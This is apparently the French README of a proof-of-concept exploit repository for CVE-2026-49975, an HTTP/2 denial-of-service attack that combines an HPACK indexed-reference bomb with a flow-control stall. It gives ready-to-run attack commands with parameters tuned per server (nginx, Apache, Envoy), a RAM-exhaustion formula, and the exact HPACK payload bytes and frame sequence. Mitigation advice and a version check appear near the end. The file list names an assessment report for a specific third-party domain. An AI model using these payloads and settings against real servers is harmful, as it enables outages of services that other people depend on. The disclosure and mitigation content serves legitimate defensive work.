
PoC de la bombe HTTP/2 — CVE-2026-49975 (bombe à référence indexée HPACK + blocage du contrôle de flux)
Exploit de preuve de concept pour CVE-2026-49975, une vulnérabilité de déni de service à distance dans les implémentations de serveurs HTTP/2. Découverte par Quang Luong (Calif Security Research), divulguée le 2 juin 2026.
Réservé aux tests de sécurité autorisés uniquement. Ne pas utiliser contre une infrastructure que vous ne possédez pas ou pour laquelle vous ne disposez pas d'une autorisation écrite de test.
L'attaque enchaîne deux mécanismes du protocole HTTP/2 :
1. Bombe à références indexées HPACK
HPACK (RFC 7541) permet aux émetteurs de référencer des en-têtes déjà vus par index — généralement un octet. L'exploit insère une fois un en-tête presque vide dans la table dynamique, puis le référence des milliers de fois. Chaque référence d'un octet sur le fil force le serveur à allouer ~70 octets de comptabilité interne par entrée. Aucune grande valeur n'est impliquée, si bien que les limites "max decoded header size" ne sont jamais déclenchées.
2. Blocage de la fenêtre de contrôle de flux HTTP/2
En annonçant une fenêtre de réception de zéro octet, l'attaquant empêche le serveur d'envoyer sa réponse ou de libérer de la mémoire. Des trames WINDOW_UPDATE d'un octet envoyées périodiquement réinitialisent le délai d'envoi du serveur, maintenant les allocations verrouillées aussi longtemps que la connexion est ouverte.
Résultat : ~16 Ko envoyés par flux → ~1,15 Mo de RAM serveur allouée et retenue par flux.
| Serveur | Amplification | Impact en démo | Statut |
|---|---|---|---|
| Envoy 1.37.2 | ~5 700:1 | 32 Go en ~10 s | Aucun correctif au moment de la divulgation |
| Apache httpd 2.4.67 | ~4 000:1 | 32 Go en ~18 s | Corrigé dans mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 Go en ~45 s | Corrigé dans nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 Go en ~45 s | Aucun correctif au moment de la divulgation |
| Cloudflare Pingora | ~68:1 | — | Aucun correctif au moment de la divulgation |
Aucune dépendance — bibliothèque standard uniquement.
# Basic test (single connection)
python3 exploit-test.py target.com 443
# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl
| Flag | Défaut | Description |
|---|---|---|
target | — | Nom d'hôte ou adresse IP |
port | 443 | Port TCP |
--threads | 1 | Connexions parallèles (chacune se reconnecte à la fermeture) |
--streams | 10 | Flux HTTP/2 par connexion |
--headers | 5000 | Références indexées HPACK par flux |
--mode | nginx | nginx (comptabilité, 70:1) ou classic (grande valeur, 4000:1) |
--no-ssl | off | Désactiver TLS (h2c) |
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
| Cible | Mode | --headers | Notes |
|---|---|---|---|
| nginx < 1.29.8 | nginx | 16374 | Reste dans la limite par défaut de http2_max_header_size 16k |
| Apache httpd | classic | 5000 | Technique de la miette de cookie |
| Envoy | classic | 32000 | Amplification élevée |
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerable if:
# - ALPN: server accepted h2 (HTTP/2 enabled)
# - server: nginx/X.Y.Z (where X.Y.Z < 1.29.8)
nginx — mettez à niveau vers la version 1.29.8+ et ajoutez :
http2 max_headers 1000;
Ou désactivez entièrement HTTP/2 :
# Remove "http2" from listen directive
listen 443 ssl;
Apache httpd — mettez à niveau mod_http2 vers v2.0.41+. En attendant : Protocols http/1.1
IIS / Envoy / Pingora — aucun correctif disponible au moment de la rédaction. Désactivez HTTP/2 ou placez un proxy corrigé en frontal.
Général (tous les serveurs) :
# Cap worker memory to limit blast radius
ulimit -v 2097152 # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
| Fichier | Description |
|---|---|
exploit-test.py | PoC principal — multi-flux, reconnexion continue, modes nginx + classic |
SECURITY-REPORT-MIST.md | Rapport d'évaluation autorisé pour mist.ac.bd |
LICENSE | MIT |